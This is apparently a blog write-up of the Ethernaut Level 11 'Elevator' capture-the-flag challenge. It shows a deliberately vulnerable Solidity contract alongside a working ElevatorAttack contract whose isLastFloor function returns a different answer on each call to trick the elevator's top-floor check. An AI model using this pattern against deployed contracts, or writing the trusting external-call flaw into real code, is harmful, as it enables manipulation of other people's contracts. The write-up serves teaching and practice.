Ethernaut challenges, comparable to a Web3-themed hacking Capture The Flag (CTF) competition, offer a dynamic environment for diving into Ethereum and Solidity programming. Each level introduces a distinct smart contract puzzle, designed to test your abilities in pinpointing and exploiting flaws.
As a full-stack software engineer diving into blockchain technology, these challenges act as valuable learning experiences to grasp the intricacies of smart contract vulnerabilities. Every level deepens our understanding of blockchain security, thus improving our skills in building decentralized applications. In this blog post, we’ll explore Ethernaut Level 11, where we decode the complexities of Solidity smart contracts and learn how to circumvent security measures.
In this Ethernaut challenge we get the following simple contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}The Building interface defines a function isLastFloor that returns whether a given floor is the last one. The Elevator contract’s goTo function calls isLastFloor on an external Building contract to check if a floor is the last floor. If the floor is not the last, it updates the elevator’s current floor and checks again to update its top floor status.
We get the following help, to beat this level:
“This elevator won’t let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This
Elevatorexpects to be used from aBuilding.”
The goTo function in the Elevator contract relies on the external Building contract’s isLastFloor function to determine whether the specified floor is the top floor. If the Building contract is implemented in a way that always returns false for isLastFloor, the Elevator contract will never recognize any floor as the top floor (top will never be set to true), effectively preventing the elevator from reaching what it believes to be the top of the building.
How to Exploit
By alternating the return value of isLastFloor, another contract can trick the Elevator contract into believing it has reached the top floor when it sets the floor to the desired value. This can bypass the intended logic of the Elevator contract, which relies on an honest isLastFloor implementation to function correctly.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Elevator.sol';
contract ElevatorAttack {
bool public pwn = true;
Elevator public target;
constructor (address _targetAddress) {
target = Elevator(_targetAddress);
}
function isLastFloor(uint)public returns (bool){
pwn = !pwn;
return pwn;
}
function setTop(uint _floor) public {
target.goTo(_floor);
}
}- When
setTopis called, it invokes thegoTofunction of theElevatorcontract with_flooras an argument. - The
Elevatorcontract then callsisLastFloor(_floor)on themsg.sender, which is theElevatorAttackcontract. - On the first call to
isLastFloor,pwnflips tofalseand returnsfalse, making theElevatorcontract set itsfloorto_floor. - The
Elevatorcontract then callsisLastFlooragain to updatetop. - On the second call,
pwnflips totrueand returnstrue, making theElevatorcontract settoptotrue.
Conclusion
Interfaces do not guarantee contract security: Just because another contract uses the same interface doesn’t mean it will behave as expected.
Be cautious with contract inheritance: Inheriting contracts that extend from interfaces can introduce security risks due to information obscurity, making each layer potentially less secure.
Check your compiler version: Be aware of the compiler version you’re using or inheriting from; view and pure functions might be compromised without your knowledge.
Additional reading:
https://ethereum.org/en/developers/docs/smart-contracts/composability
https://docs.soliditylang.org/en/develop/contracts.html#view-functions
FAQs
How do I start solving Ethernaut challenges?
- Visit Ethernaut and connect your Ethereum wallet.
How do I use Remix IDE for Ethernaut challenges?
- Open Remix IDE, create a new file, paste the contract code, compile, deploy, and interact with it using MetaMask.
Where can I find Ethereum and Solidity documentation?
How do I deploy contracts on a test network?
- Compile and deploy
Elevator.solandElevatorAttack.solusing Remix IDE and MetaMask.
What are essential Solidity concepts for this challenge?
- Interfaces, external calls, state variables, function modifiers.


